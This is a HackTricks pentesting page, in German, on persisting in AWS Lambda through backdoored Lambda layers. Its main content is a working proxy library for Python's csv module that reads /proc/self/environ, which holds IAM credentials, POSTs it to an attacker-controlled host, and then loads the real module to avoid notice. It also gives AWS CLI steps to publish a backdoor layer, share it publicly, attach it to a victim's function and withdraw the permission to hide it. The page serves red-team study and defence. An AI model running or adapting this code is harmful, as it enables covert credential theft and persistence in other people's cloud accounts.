AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

Ein Lambda-Layer ist ein .zip-Dateiarchiv, das zusätzlichen Code oder andere Inhalte enthalten kann. Ein Layer kann Bibliotheken, eine benutzerdefinierte Laufzeit, Daten oder Konfigurationsdateien enthalten.

Es ist möglich, bis zu fünf Layers pro Funktion einzuschließen. Wenn du einen Layer in eine Funktion einfügst, werden die Inhalte im Verzeichnis /opt in der Ausführungsumgebung extrahiert.

Standardmäßig sind die Layers, die du erstellst, privat für dein AWS-Konto. Du kannst wählen, ob du einen Layer mit anderen Konten teilen oder den Layer öffentlich machen möchtest. Wenn deine Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können deine Funktionen die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem dir die Berechtigung zum Zugriff auf den Layer entzogen wurde. Du kannst jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren.

Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen packst du deine bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn du das Image erstellst.

Python-Ladepfad

Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Überprüfen Sie, wie die zweite und dritte Position von Verzeichnissen eingenommen werden, in denen Lambda-Schichten ihre Dateien entpacken: /opt/python/lib/python3.9/site-packages und /opt/python

Wenn es einem Angreifer gelingt, eine verwendete Lambda Schicht zu hintertüren oder eine hinzuzufügen, die beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen.

Daher sind die Voraussetzungen:

  • Überprüfen Sie Bibliotheken, die vom Code der Opfer geladen werden

  • Erstellen Sie eine Proxy-Bibliothek mit Lambda-Schichten, die benutzerdefinierten Code ausführt und die ursprüngliche Bibliothek lädt.

Vorgebundene Bibliotheken

Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind bereits geladen im Python-Laufzeit, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie os oder sys zu finden, aber sogar die json-Bibliothek war geladen. Um diese Persistenztechnik auszunutzen, muss der Code eine neue Bibliothek laden, die nicht geladen ist, wenn der Code ausgeführt wird.

Mit einem Python-Code wie diesem ist es möglich, die Liste der Bibliotheken, die vorab geladen sind, innerhalb der Python-Laufzeit in Lambda zu erhalten:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Und dies ist die Liste (prüfen Sie, ob Bibliotheken wie os oder json bereits vorhanden sind)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Und dies ist die Liste der Bibliotheken, die lambda standardmäßig installiert: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In diesem Beispiel nehmen wir an, dass der angezielte Code csv importiert. Wir werden den Import der csv-Bibliothek backdooren.

Um dies zu tun, werden wir das Verzeichnis csv mit der Datei __init__.py darin in einem Pfad erstellen, der von lambda geladen wird: /opt/python/lib/python3.9/site-packages Dann, wenn die lambda ausgeführt wird und versucht, csv zu laden, wird unsere __init__.py-Datei geladen und ausgeführt. Diese Datei muss:

  • Unser Payload ausführen

  • Die originale csv-Bibliothek laden

Wir können beides mit:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Dann erstellen Sie ein Zip-Archiv mit diesem Code im Pfad python/lib/python3.9/site-packages/__init__.py und fügen Sie es als Lambda-Schicht hinzu.

Sie finden diesen Code unter https://github.com/carlospolop/LambdaLayerBackdoor

Die integrierte Payload wird die IAM-Credentials an einen Server SENDEN, BEIM ERSTEN AUFRUF oder NACH EINEM RESET DES LAMBDA-Containers (Änderung des Codes oder kaltes Lambda), aber andere Techniken wie die folgenden könnten ebenfalls integriert werden:

Externe Schichten

Beachten Sie, dass es möglich ist, Lambda-Schichten aus externen Konten zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat. Beachten Sie auch, dass die maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt.

Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:

  • Eine bestehende Schicht des Benutzers backdooren (nichts ist extern)

  • Eine Schicht in seinem Konto erstellen, dem Opferkonto Zugriff auf die Verwendung der Schicht gewähren, die Schicht im Lambda des Opfers konfigurieren und die Berechtigung entfernen.

  • Das Lambda wird weiterhin in der Lage sein, die Schicht zu verwenden, und das Opfer wird keine einfache Möglichkeit haben, den Code der Schichten herunterzuladen (außer durch den Erhalt einer Reverse-Shell innerhalb des Lambdas)

  • Das Opfer wird keine externen Schichten sehen, die mit aws lambda list-layers verwendet werden.

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Unterstütze HackTricks

Last updated